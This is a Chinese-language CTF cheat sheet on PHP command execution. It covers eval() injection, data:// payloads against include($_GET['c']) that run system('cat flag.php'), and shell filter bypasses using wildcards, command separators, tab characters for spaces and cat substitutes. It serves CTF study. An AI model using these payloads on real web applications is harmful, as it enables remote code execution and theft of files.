PHP命令执行※
eval()函数※
通过eval()函数可以注入命令让靶机直接执行,
比如
<?php
$c = 'phpinfo();';
eval($c)此时可以直接执行phpinfo函数,相同的,我们可以在这里注入很多其他的函数,比如:system(),getcwd()等等
以下列举以下常见的绕过需要使用的方法
print_r() //输出值
var_dump() //输出值,带数值类型信息
getcwd() //获取当前绝对路径
scandir() -> array //扫描目录下的文件
highlight_file() //显示代码文件
show_source() //显示代码文件伪协议绕过※
data://伪协议※
如果目标代码使用include传参的话,我们可以传入一个伪造的php文件,让他执行我们想要他执行的php代码,里面包含敏感的函数文件什么的
?c=data://text/plain,<?php system("cat flag.php");?>
include($_GET['c']);
屏蔽了php的话可以用短标签
?c=data://text/plain,<?=system("cat flag.php"); ?>
include($_GET['c']);
shell命令※
通配符※
当出现过滤,比如flag被程序检测到需要绕过的时候,我们可以通过 ? 问号来代替
比如:
cat flag.txt 是不被允许的
那么我们可以写
cat fl?t.txt 这样就绕过了| 写法 | 含义 | 示例 | 能匹配 |
|---|---|---|---|
? | 任意 1 个字符 | fl?g.txt | flag.txt |
* | 任意 多个字符 | f*g.txt | flag.txt、fxxg.txt |
[abc] | 匹配 括号里的任意字符 | fl[a]g.txt | flag.txt |
[a-z] | 匹配 范围字符 | fl[a-z]g.txt | flag.txt |
[!a] | 不匹配某字符 | fl[!b]g.txt | flag.txt |
{} | 多选匹配 | {flag,flog}.txt | flag.txt |
\ | 转义字符 | fl\ag.txt | flag.txt |
*g.txt | 前面任意 | *g.txt | flag.txt |
f* | 以 f 开头 | f* | flag.txt |
* | 所有文件 | * | 当前目录全部 |
命令分隔符绕过※
| 写法 | 含义 | 示例 |
|---|---|---|
; | 顺序执行 | ls;ls |
&& | 前一个成功再执行 | ls&&ls |
|| | 前一个失败再执行 | ls||ls |
& | 后台执行 | ls&ls |
| | 管道 | ls|cat |
| 换行 | 换行执行 | ls\nls |
%0a | URL换行 | ls%0als |
空格被过滤※
空格被过滤可以使用\t 也就是制表符代替 %09
命令提代表※
| 命令 | 作用 |
|---|---|
cat | 查看文件 |
nl | 查看文件+行号 |
tac | 倒序输出文件 |
more | 分页查看 |
less | 分页查看 |
head | 查看前几行 |
tail | 查看后几行 |
sed | 文本处理 |
awk | 文本处理 |